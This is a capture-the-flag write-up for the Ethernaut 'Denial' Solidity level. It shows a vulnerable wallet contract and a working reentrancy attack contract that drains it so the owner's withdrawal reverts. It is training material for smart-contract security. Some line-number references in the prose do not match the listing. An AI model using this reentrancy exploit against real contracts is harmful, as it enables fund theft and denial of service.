Ethernaut 20: Denial
Objective
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
Code
1contract Denial {
2 // withdrawal partner - pay the gas, split the withdraw
3 address public partner;
4 address payable public constant owner = payable(address(0xA9E));
5 uint256 timeLastWithdrawn;
6 // keep track of partners balances
7 mapping(address => uint256) withdrawPartnerBalances;
8
9 function setWithdrawPartner(address _partner) public {
10 partner = _partner;
11 }
12
13 // withdraw 1% to recipient and 1% to owner
14 function withdraw() public {
15 uint256 amountToSend = address(this).balance / 100;
16 // perform a call without checking return
17 // The recipient can revert, the owner will still get their share
18 (bool sent,) = partner.call{value: amountToSend}("");
19 owner.transfer(amountToSend);
20 // keep track of last withdrawal time
21 timeLastWithdrawn = block.timestamp;
22 withdrawPartnerBalances[partner] += amountToSend;
23 }
24
25 // allow deposit of funds
26 receive() external payable {}
27
28 // convenience function
29 function contractBalance() public view returns (uint256) {
30 return address(this).balance;
31 }
32}
This contract sort of implements a keeper pattern. It slowly drips funds to an address when the withdraw() function is called. In order for that to happen kind of automatically (there are no cron jobs on EVM-land), an incentive is provided to whoever wants to call the function periodically. In this contract, the address doing that work would be the partner.
The level factory will try to call withdraw(), and consider the level passed if the call fails.
Solution
There are two parts to this:
First, the contract doesn't implement a check-effects-interactions pattern properly, doing an external call to an untrusted address (line 16) before updating the contract's state (line 20).
Then, the idea with this is to cause the withdraw() call to revert. Simply rejecting when receiving ether won't work, as a low level call() is performed against my contract, and the return value is explicitly ignored.
What I can do, however, is cause a revert on line 17 instead , since address.transfer(uint256 amount) reverts if the contract doesn't have enough ether.
And the way to do that is with a reentrancy attack:
1contract EvilPartner {
2 uint256 private amountToSendToOwner;
3
4 receive() external payable {
5 if (amountToSendToOwner == 0 ) {
6 amountToSendToOwner = msg.value;
7 }
8 while(msg.sender.balance > amountToSendToOwner) {
9 Denial(payable(msg.sender)).withdraw();
10 }
11 }
12}
In line 8 I choose to keep withdrawing my alloted 1% over and over again up until said amount is higher than the contract Denial contract balance. At that point, I'm conviced transferring to the owner will revert, so I just return.
Then, it's a matter of setting the withdraw partner to the attacker contract, since the level factory will take care of calling the contract for me:
1function solution(address payable target_) internal override{
2 Denial target = Denial(target_);
3 EvilPartner attacker = new EvilPartner();
4 target.setWithdrawPartner(address(attacker));
5}
😎